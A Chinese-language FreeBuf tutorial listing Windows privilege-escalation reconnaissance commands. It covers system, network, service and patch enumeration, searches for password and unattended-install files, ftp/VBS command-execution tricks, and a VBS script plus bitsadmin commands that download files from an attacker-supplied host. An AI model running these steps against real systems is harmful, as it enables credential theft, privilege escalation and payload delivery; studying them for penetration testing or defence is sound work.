这不是一篇渗透测试指导,而是简单介绍了几个Windows内网提权的实用命令,以供我等菜鸟学习观摩,还望大牛包涵指导。
1.获取操作系统信息
识别操作系统名称及版本:
C:Users hel3l> systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.14393 N/A Build 14393
当然中文系统你得这样:
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
识别系统体系结构:
C:Users hel3l> echo %PROCESSOR_ARCHITECTURE%
AMD64
查看所有环境变量:
C:Users hel3l> SET
USERNAME=thel3l
USERPROFILE=C:Users hel3l
snip
查看某特定用户信息:
C:Users hel3l>net user thel3l
User name thel3l
snip
The command completed successfully
2.获取网络信息
查看路由表信息:
C:Users hel3l> route print
查看ARP缓存信息:
C:Users hel3l> arp -A
查看防火墙规则:
C:Users hel3l> netstat -ano
C:Users hel3l> netsh firewall show config
C:Users hel3l> netsh firewall show state
3.应用程序及服务信息
查看计划任务:
C:Users hel3l> schtasks /QUERY /fo LIST /v
中文系统的命令,先调整GBK编码为437美国编码:
chcp 437
然后
schtasks /QUERY /fo LIST /v
查看服务进程ID:
C:Users hel3l> tasklist /SVC
查看安装驱动:
C:Users hel3l> DRIVERQUERY
查看安装程序和版本信息(漏洞利用线索):
C:Users hel3l> wmic product list brief
查看服务、进程和启动程序信息:
C:Users hel3l> wmic service list brief
C:Users hel3l> wmic process list brief
C:Users hel3l> wmic startup list brief
查看.msi程序的执行权限:
C:Users hel3l> reg query HKCUSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated
C:Users hel3l> reg query HKLMSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated
查看是否设置有setuid和setgid:
C:Users hel3l>
reg query HKEY_Local_MachineSystemCurrentControlSetServicesNfsSvrParametersSafeSetUidGidBits
查看安装补丁和时间信息:
C:Users hel3l> wmic qfe get Caption,Description,HotFixID,InstalledOn
查看特定漏洞补丁信息:
C:Users hel3l> wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KBxxxxxxx"
4.敏感数据和目录
查找密码文件或其它敏感文件:
C:Users hel3l> cd/
C:Users hel3l> dir /b/s password.txt
C:Users hel3l> dir /b/s config.*
C:Users hel3l> findstr /si password *.xml *.ini *.txt
C:Users hel3l> findstr /si login *.xml *.ini *.txt
无人值守安装文件:
这些文件通常包含base64模式的密码信息。这类文件在一些大型企业网络或GHO系统中可以发现,文件通常的位置如下:
C:sysprep.inf
C:sysprepsysprep.xml
C:WindowsPantherUnattendUnattended.xml
C:WindowsPantherUnattended.xml
5.文件系统
可以通过调用系统预安装程序语言查看当前可访问目录或文件权限,如python下:
import os; os.system("cmd /c {command here}")
使用copy con命令创建ftp执行会话:
范例
C:Users hel3l> copy con ftp.bat #创建一个名为ftp.bat的批处理文件
ftp # 输入执行会话名称,按回车到下一行,之后按CTRL+Z结束编辑,再按回车退出
C:Users hel3l> ftp.bat # 执行创建的文件
ftp> # 执行ftp命令
ftp> !{command} # e.g. - !dir or !ipconfig
使用copy con命令创建VBS脚本文件:
C:Users hel3l> copy con commandExec.vbs #创建VBS脚本文件
Call WScript.CreateObject("Wscript.Shell").Run("cmd /K {command}", 8, True) #VBS文件内容
C:Users hel3l> commandExec.vbs #执行脚本文件
检查文件夹可写状态:
C:Users hel3l> dir /a-r-d /s /b
6.一个有用的文件上传脚本
' downloadfile.vbs
' Set your settings
strFileURL = "http://{YOUR_IP}/{FILE_NAME.EXT}"
strHDLocation = "c:{FILE_NAME.EXT}"
' Fetch the file
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1 'adTypeBinary
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0 'Set the stream position to the start
Set objFSO = Createobject("Scripting.FileSystemObject")
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
Set objFSO = Nothing
objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End if
Set objXMLHTTP = Nothing
该脚本是一个社区发布的,你可以以下这种方式运行它:
C:Users hel3l>cscript.exe downloadfile.vbs
bitsadmin命令:
如果你的目标系统是Windows 7及以上操作系统,你可以使用bitsadmin命令,bitsadmin是一个命令行工具,可用于创建下载上传进程:
范例
C:Users hel3l> bitsadmin /transfer job_name /download /priority priority URL localpathfile
C:Users hel3l> bitsadmin /transfer mydownloadjob /download /priority normal ^ http://{YOUR_IP}/{FILE_NAME.EXT}
C:UsersusernameDownloads{FILE_NAME.EXT}
如:
bitsadmin /transfer n http://download.fb.com/file/xx.zip c:pentestxx.zip
*参考来源:thel3l.me,FB小编clouds编译,转载请注明来自FreeBuf(FreeBuf.COM)